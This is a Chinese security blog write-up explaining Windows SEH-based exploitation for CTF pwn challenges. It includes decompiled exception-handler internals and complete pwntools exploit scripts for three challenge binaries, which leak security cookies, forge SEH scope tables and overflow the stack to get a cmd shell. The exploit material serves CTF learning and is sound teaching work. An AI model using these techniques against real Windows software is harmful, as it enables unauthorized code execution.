首页
活动
社区
学院
安全导航

Windows-pwn解题原理&利用手法详解

阅读量880959

|评论1

|

发布时间 : 2019-10-15 16:00:00

 

目前我在CTF中遇到的windows pwn题目，利用手法大多是通过伪造SEH结构体，再触发异常来getshell。之前没有太多的做这方面的题，这里我详细说一下原理和解题思路

系统主要依靠SEH机制(用户模式、内核模式)和VEH机制（仅支持用户模式）进行异常处理。下面先主要了解一下SEH机制。

 

SEH相关数据结构

1. TIB结构

TIB，又称线程信息块，是保存线程基本信息的数据结构，它位于TEB的头部。TEB是操作系统为了保存每个线程的私有数据创建的，每个线程都有自己的TEB。

TIB结构如下：

typedef struct _NT_TIB{
    struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist;//指向异常处理链表
    PVOID StackBase;//当前进程所使用的栈的栈底
    PVOID StackLimit;//当前进程所使用的栈的栈顶
    PVOID SubSystemTib;
    union {
        PVOID FiberData;
        ULONG Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;//指向TIB结构自身
} NT_TIB;

在这个结构中与异常处理有关的第一个成员：指向_EXCEPTION_REGISTRATION_RECORD结构的Exceptionlist指针

2. _EXCEPTION_REGISTRATION_RECORD 结构

该结构主要用于描述线程异常处理过程的地址，多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系

结构如下：

typedef struct _EXCEPTION_REGISTRATION_RECORD{
    struct _EXCEPTION_REGISTRATION_RECORD *Next;//指向下一个结构的指针
    PEXCEPTION_ROUTINE Handler;//当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

结构如图所示：

伪造之后的这个结构体中的*Next必须是原来的，所以我们要事先泄露出来原*Next

3. SEH scope table结构

在Scope table中保存了__try块相匹配的 __except 或 __finally的地址值
结构如下：

struct _EH4_SCOPETABLE {
        DWORD GSCookieOffset;
        DWORD GSCookieXOROffset;
        DWORD EHCookieOffset;
        DWORD EHCookieXOROffset;
        _EH4_SCOPETABLE_RECORD ScopeRecord[1];
};

struct _EH4_SCOPETABLE_RECORD {
        DWORD EnclosingLevel;
        long (*FilterFunc)();
            union {
            void (*HandlerAddress)();
            void (*FinallyFunc)(); 
    };
};

如图所示：

windows pwn的关键就是伪造scope table结构体，它地址位于栈上的位置在ebp-0x8，存的值是和___security_cookie异或之后的结果，所以我们要想伪造它，就必须先泄露出来___security_cookie的值

该把scope table结构体伪造成什么呢？
当程序触发异常后，会执行类似这样的代码：

.text:00401B50                 push    ebp
.text:00401B51                 mov     ebp, esp
.text:00401B53                 mov     eax, [ebp+arg_C]
.text:00401B56                 push    eax
.text:00401B57                 mov     ecx, [ebp+arg_8]
.text:00401B5A                 push    ecx
.text:00401B5B                 mov     edx, [ebp+arg_4]
.text:00401B5E                 push    edx
.text:00401B5F                 mov     eax, [ebp+arg_0]
.text:00401B62                 push    eax
.text:00401B63                 push    offset j_@__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401B68                 push    offset ___security_cookie
.text:00401B6D                 call    _except_handler4_common
.text:00401B72                 add     esp, 18h
.text:00401B75                 pop     ebp
.text:00401B76                 retn
.text:00401B76 SEH_4013A0      endp

上述代码中调用了_except_handler4_common，那么在_except_handler4_common函数中干了些什么呢？接着往下看…

该代码段参考：except.c

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

在函数中先后调用了scope table结构体中的FilterFunc函数和HandlerFunc函数，那么我们就可以伪造这两个函数地址为我们的shell代码地址，当触发异常时就会执行shell代码，即可获取到shell

4. 其他

通过查看汇编我们发现在栈上还有一个特殊的值，位置在ebp-0x1c处

而scope table结构体地址在它的下面，所以我们必须还要伪造这个值。伪造它由两种方法，第一种把他泄露出来，构造payload的时候再填充进去即可；另一种方法就是计算出来：值=___security_cookie^ebp

 

示例

1.BABYSTACK

该题目是一个windows平台下的pwn，利用的正是覆盖SEH结构体来getshell，载入IDA中看代码流程

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  FILE *v4; // eax
  _DWORD *v5; // ST38_4
  int v6; // [esp+20h] [ebp-C0h]
  int v7; // [esp+24h] [ebp-BCh]
  signed int i; // [esp+2Ch] [ebp-B4h]
  char v9; // [esp+44h] [ebp-9Ch]
  CPPEH_RECORD ms_exc; // [esp+C8h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  v3 = (FILE *)_acrt_iob_func(1);
  setvbuf(v3, 0, 4, 0);
  v4 = (FILE *)_acrt_iob_func(0);
  setvbuf(v4, 0, 4, 0);
  puts("ouch! Do not kill me , I will tell you everything");
  sub_401420("stack address = 0x%xn", &v9);
  sub_401420("main address = 0x%xn", main);
  for ( i = 0; i < 10; ++i )
  {
    puts("Do you want to know more?");
    sub_401000((int)&v9, 10);
    v7 = strcmp(&v9, "yes");
    if ( v7 )
      v7 = -(v7 < 0) | 1;
    if ( v7 )
    {
      v6 = strcmp(&v9, "no");
      if ( v6 )
        v6 = -(v6 < 0) | 1;
      if ( !v6 )
        break;
      sub_401000((int)&v9, 256);
    }
    else
    {
      puts("Where do you want to know");
      v5 = (_DWORD *)sub_401060();
      sub_401420("Address 0x%x value is 0x%xn", v5, *v5);
    }
  }
  ms_exc.registration.TryLevel = -2;
  puts("I can tell you everything, but I never believe 1+1=2");
  puts("AAAA, you kill me just because I don't think 1+1=2??");
  exit(0);
}

审计之后发现sub_401000((int)&v9, 256);存在栈溢出，能够覆盖到ebp的位置

并且在看main的汇编时发现一个shell

.text:0040138D                 push    offset Command  ; "cmd"
.text:00401392                 call    ds:system

程序提供给我们v9在栈上的地址和main函数的地址

根据程序已经提供给我们的信息，下面描述具体攻击流程：

  • 泄露___security_cookie，它的地址可以通过相对于main函数的偏移计算出来：main_addr+0x2f54
  • 泄露_EXCEPTION_REGISTRATION_RECORD结构体中Next成员：ebp-0x10
  • 泄露GS的值，它的地址在ebp-0x1c，可以通过&v9偏移计算出来：&v9+0x80
  • 伪造hardler结构体
SEH_scope_table = p32(0x0FFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF20)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)
  • 通过栈溢出对内存进行覆盖
  • 使程序异常来触发执行伪造的代码段

Exp：

from pwn import *
from LibcSearcher import *
context.log_level='debug'
ip = '192.168.1.103'
prot = '1234'
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
r = remote(ip,prot)
ru("stack address = ")
stack_addr = eval(rud("rn"))
li("stack_addr",stack_addr)
ru("main address = ")
main_addr = eval(rud("rn"))
li("main_addr",main_addr)
ru("Do you want to know more?rn")
sl("yes")
ru("Where do you want to know")
___security_cookie_addr = main_addr+0x2f54

sl(str(___security_cookie_addr))
ru("value is ")
___security_cookie_value = eval(rud("rn"))
li("___security_cookie_value",___security_cookie_value)
ru("Do you want to know more?rn")
sl("yes")
ru("Where do you want to know")
shell_addr = main_addr+733
ebp = stack_addr+0x9c
Next_addr =  ebp-0x10
sl(str(Next_addr))
ru("value is ")
Next_value = eval(rud("rn"))
li("Next_value",Next_value)
SEH_scope_table = p32(0x0FFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF20)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)

pay_3 = "a"*4+SEH_scope_table.ljust(0x80-4,"x22")+p32(ebp^___security_cookie_value)+"b"*8+p32(Next_value)+p32(main_addr + 944)+p32((stack_addr+4)^___security_cookie_value)+p32(0)
ru("Do you want to know more?rn")
sl("n")
sl(pay_3)
ru("Do you want to know more?rn")
sl('yes')
ru('Where do you want to know')
sl('0')
ri()

2. 第五空间决赛-“九果”

这道题当时没写出来（当时没做过win pwn，哭了），现在回过头来看这道题，和上一道babystack真的是神相似

main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  FILE *v4; // eax
  _DWORD *v5; // ST38_4
  int v6; // [esp+20h] [ebp-C0h]
  int v7; // [esp+24h] [ebp-BCh]
  signed int i; // [esp+2Ch] [ebp-B4h]
  char v9; // [esp+44h] [ebp-9Ch]
  CPPEH_RECORD ms_exc; // [esp+C8h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  v3 = (FILE *)_acrt_iob_func(1);
  setvbuf(v3, 0, 4, 0);
  v4 = (FILE *)_acrt_iob_func(0);
  setvbuf(v4, 0, 4, 0);
  puts("Welcome to the Fifth CyberSecutiry FinalBattle!..");
  sub_401420("stack address = 0x%xn", &v9);
  sub_401420("main address = 0x%xn", main);
  for ( i = 0; i < 10; ++i )
  {
    puts("OtherwhereWillBeTheAnswer");
    sub_401000(&v9, 10);
    v7 = strcmp(&v9, "yes");
    if ( v7 )
      v7 = -(v7 < 0) | 1;
    if ( v7 )
    {
      v6 = strcmp(&v9, "tj");
      if ( v6 )
        v6 = -(v6 < 0) | 1;
      if ( !v6 )
        break;
      sub_401000(&v9, 256);
    }
    else
    {
      puts("Where do you want to know");
      v5 = (_DWORD *)sub_401060();
      sub_401420("Address 0x%x value is 0x%xn", v5, *v5);
    }
  }
  ms_exc.registration.TryLevel = -2;
  puts("....................................................");
  puts("AAAA, Something goes wrong Please check your script?");
  exit(0);
}

同样是存在栈溢出和异常处理，方法思路和上一个题目是一摸一样的

Exp：

from pwn import *
from LibcSearcher import *
context.log_level='debug'
ip = '192.168.1.103'
prot = '9999'
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
r = remote(ip,prot)
ru("stack address = ")
stack_addr = eval(rud("rn"))
li("stack_addr",stack_addr)
ru("main address = ")
main_addr = eval(rud("rn"))
li("main_addr",main_addr)
ru("OtherwhereWillBeTheAnswerrn")
sl("yes")
ru("Where do you want to know")
___security_cookie_addr = main_addr+0x2f54

sl(str(___security_cookie_addr))
ru("value is ")
___security_cookie_value = eval(rud("rn"))
li("___security_cookie_value",___security_cookie_value)
ru("OtherwhereWillBeTheAnswerrn")
sl("yes")
ru("Where do you want to know")
shell_addr = main_addr+733
ebp = stack_addr+0x9c
Next_addr =  ebp-0x10
sl(str(Next_addr))
ru("value is ")
Next_value = eval(rud("rn"))
li("Next_value",Next_value)
SEH_scope_table = p32(0x0FFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF20)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)

pay_3 = "a"*4+SEH_scope_table.ljust(0x80-4,"x22")+p32(ebp^___security_cookie_value)+"b"*8+p32(Next_value)+p32(main_addr + 944)+p32((stack_addr+4)^___security_cookie_value)+p32(0)
ru("OtherwhereWillBeTheAnswerrn")
sl("n")
sl(pay_3)
ru("OtherwhereWillBeTheAnswerrn")
sl('yes')
ru('Where do you want to know')
sl('0')
ri()

3. 2019SUCTF-babystack

这道题相当于是前两道题的进阶，换汤不换药，getshell手法是一样的

原题目留的后门是type flag.txt，为了方便，我把后门换成cmd，可以直接打开shell

main函数流程很简单

void __noreturn sub_401820()
{
  int v0; // ebx
  FILE *v1; // eax
  FILE *v2; // eax
  signed int v3; // ecx
  char v4; // dl
  __int64 v5; // [esp+18h] [ebp-28h]
  char v6; // [esp+20h] [ebp-20h]
  CPPEH_RECORD ms_exc; // [esp+28h] [ebp-18h]

  v5 = 0i64;
  v6 = 0;
  v0 = 0;
  v1 = _acrt_iob_func(0);
  setbuf(v1, 0);
  v2 = _acrt_iob_func(1);
  setbuf(v2, 0);
  sub_401028("  ____        _            _____ _             _    n");
  sub_401028(" |  _ \      | |          / ____| |           | |   n");
  sub_401028(" | |_) | __ _| |__  _   _| (___ | |_ __ _  ___| | __n");
  sub_401028(" |  _ < / _` | '_ \| | | |\___ \| __/ _` |/ __| |/ /n");
  sub_401028(" | |_) | (_| | |_) | |_| |____) | || (_| | (__|   < n");
  sub_401028(" |____/ \__,_|_.__/ \__, |_____/ \__\__,_|\___|_|\_\n");
  sub_401028("                     __/ |                          n");
  sub_401028("                    |___/                           n");
  puts("Hello,I will give you some gifts");
  sub_401028("stack address = 0x%Xn");
  sub_401028("main address = 0x%Xn");
  sub_401028("So,Can You Tell me what did you know?n");
  ms_exc.registration.TryLevel = 0;
  sub_4010B9("%s", &v5, 9);
  if ( strlen(&v5) == 8 )
  {
    v3 = 0;
    while ( v3 < 8 )
    {
      v4 = *(&v5 + v3);
      if ( (v4 - 48) > 9u )
      {
        if ( (v4 - 65) <= 5u )
          v0 = v4 + 16 * v0 - 55;
        ++v3;
      }
      else
      {
        v0 = v4 + 16 * (v0 - 3);
        ++v3;
      }
    }
    sub_401028("You can not find Me!n");
    exit(0);
  }
  sub_401028("Error!n");
  exit(0);
}

同样程序泄露了一个栈上变量的地址（栈地址）和main函数的地址，但是如果单纯用IDA来f5查看伪C代码的话看不出来具体发生异常的代码在哪，所以还需要审查一下汇编代码，果然发现一处比较可疑的代码

这里可能会发生”除0异常“，向上寻找一下给esi赋值的地方

可以发现，先是ebx的值赋值给esi，继而执行了sub esi, eax，我们知道ebx是我们输入的字符串转换成16进制数（比如说输入12345678，转换成ebx=0x12345678），如果我们输入的和eax相等的话，那么就可以发生”除0异常“

动态调式一下执行sub esi, eax前，eax的值是多少


可以发现eax的值是.text段上的，经过测试后发现与泄露出来的main函数的地址偏移是一样的，所以我们可以通过程序提供的main函数的地址直接算出来可以发生异常的地址，经过计算得出： 触发异常地址=main_addr+2083

程序发生异常后来到sub_04013A0：

void __noreturn sub_4013A0()
{
  FILE *v0; // eax
  int v1; // ST08_4
  int v2; // [esp+18h] [ebp-DCh]
  int v3; // [esp+1Ch] [ebp-D8h]
  signed int i; // [esp+38h] [ebp-BCh]
  char Dst; // [esp+48h] [ebp-ACh]
  char Str[4]; // [esp+C8h] [ebp-2Ch]
  int v7; // [esp+CCh] [ebp-28h]
  int v8; // [esp+D0h] [ebp-24h]
  int v9; // [esp+D4h] [ebp-20h]
  CPPEH_RECORD ms_exc; // [esp+DCh] [ebp-18h]

  memset(&Dst, 0, 0x80u);
  *Str = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  sub_401028("Oops,You find Me!n");
  sub_401028("OK,I can tell you somethingn");
  ms_exc.registration.TryLevel = 0;
  for ( i = 0; i < 10; ++i )
  {
    sub_401028("Do you want to know more?n");
    sub_4010B9("%s", &Dst, 8);
    getchar();
    v3 = strcmp(&Dst, "yes");
    if ( v3 )
      v3 = -(v3 < 0) | 1;
    if ( v3 )
    {
      v2 = strcmp(&Dst, "no");
      if ( v2 )
        v2 = -(v2 < 0) | 1;
      if ( !v2 )
        break;
      v0 = _acrt_iob_func(0);
      fgets(&Dst, 256, v0);
    }
    else
    {
      sub_401028("Where do you want to know?n");
      sub_4010B9("%s", Str, 16);
      v1 = *atoi(Str);
      sub_401028("Address 0x%X value is 0x%Xn");
    }
  }
  ms_exc.registration.TryLevel = -2;
  sub_401028("Now,I will tell you 1 + 1 = 3!n");
  sub_401028("Oh,no!n");
  sub_401028("You don't believe 1 + 1 = 3???n");
  sub_401028("You do calculation like cxk!!!n");
  exit(0);
}

这是发生过异常后跳转过来的函数，在x32dbg中好像不能够进去（或者是我技术太菜了），这里用Ex师傅的工具来搭建一下环境，传送门

成功之后通过pwntools连接，然后用x32dbg附加进程即可调试

接下来的操作和前两道题是一样的，这里不在详解。但是有一点是需要注意的

原来payload是：

SEH_scope_table = p32(0x0FFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF20)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)

pay_3 = "a"*4+SEH_scope_table.ljust(0x80-4,"x22")+p32(ebp^___security_cookie_value)+"b"*8+p32(Next_value)+p32(main_addr + 944)+p32((stack_addr+4)^___security_cookie_value)+p32(0)

直接套这个模板是不行的，经过调试后发现

  • SEH_scope_table是不一样的 
    SEH_scope_table = p32(0xFFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF0c)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)
  • &Dst+4的位置上会覆盖成0xfefefefe，具体原因不清楚，我们要绕过这里，前面由4个”a“，变成8个”a“，即可绕过

最终payload：

pay = "a"*8+SEH_scope_table.ljust(0x90-8,"a")+p32(___security_cookie_value^(ebp))+"a"*8+p32(Next_value)+p32(main_addr + 0x9f2)+p32(((ebp-0xac)+8)^___security_cookie_value)+p32(0)

Exp：

from pwn import *
from LibcSearcher import *
context.log_level='debug'
ip = '192.168.1.103'
prot = '1001'
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
r = remote(ip,prot)
# r.sendlineafter(">","BabyStack.exe")
ru("stack address = ")
stack_addr = eval(rud("rn"))
li("stack_addr",stack_addr)
ru("main address = ")
main_addr = eval(rud("rn"))
li("main_addr",main_addr)
except_addr = main_addr+2083
ebp = stack_addr-32
ru("So,Can You Tell me what did you know?rn")
sl((hex(except_addr)[2:].upper()).rjust(8,"0"))
shell_addr = main_addr+1357

SEH_scope_table = p32(0xFFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF0c)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)

___security_cookie_addr = main_addr+0x5ea6
ru("Do you want to know more?rn")
sl("yes")
ru("Where do you want to know?rn")
sl(str(___security_cookie_addr))
ru("value is ")

___security_cookie_value = eval(rud("rn"))
li("___security_cookie_value",___security_cookie_value)
ru("Do you want to know more?rn")
sl("yes")
ru("Where do you want to know?rn")
Next_addr =  ebp-0x10
sl(str(Next_addr))
ru("value is ")
Next_value = eval(rud("rn"))
li("Next_value",Next_value)
ru("Do you want to know more?rn")
sl("y")
pay = "a"*8+SEH_scope_table.ljust(0x90-8,"a")+p32(___security_cookie_value^(ebp))+"a"*8+p32(Next_value)+p32(main_addr + 0x9f2)+p32(((ebp-0xac)+8)^___security_cookie_value)+p32(0)
sl(pay)
ru("Do you want to know more?rn")
sl("yes")
ru("Where do you want to know?rn")
sl("0")
ri()

 

总结

win pwn其实和linux pwn差不多，不一样的只是利用手法。

本文如有不妥之处，敬请斧正。

 

参考文献

https://bbs.pediy.com/thread-221016.htm
http://blog.eonew.cn/archives/1182
https://blog.csdn.net/magictong/article/details/7517630

本文由萝卜啊啊啊啊啊啊原创发布

转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/188170

安全客 - 有思想的安全新媒体

分享到：微信
+114赞
收藏
萝卜啊啊啊啊啊啊
分享到：微信

发表评论

萝卜啊啊啊啊啊啊

个人博客: https://radishes-nine.vercel.app/

  • 文章
  • 9
  • 粉丝
  • 28

TA的文章

相关文章

热门推荐

文章目录
安全客
商务合作
内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66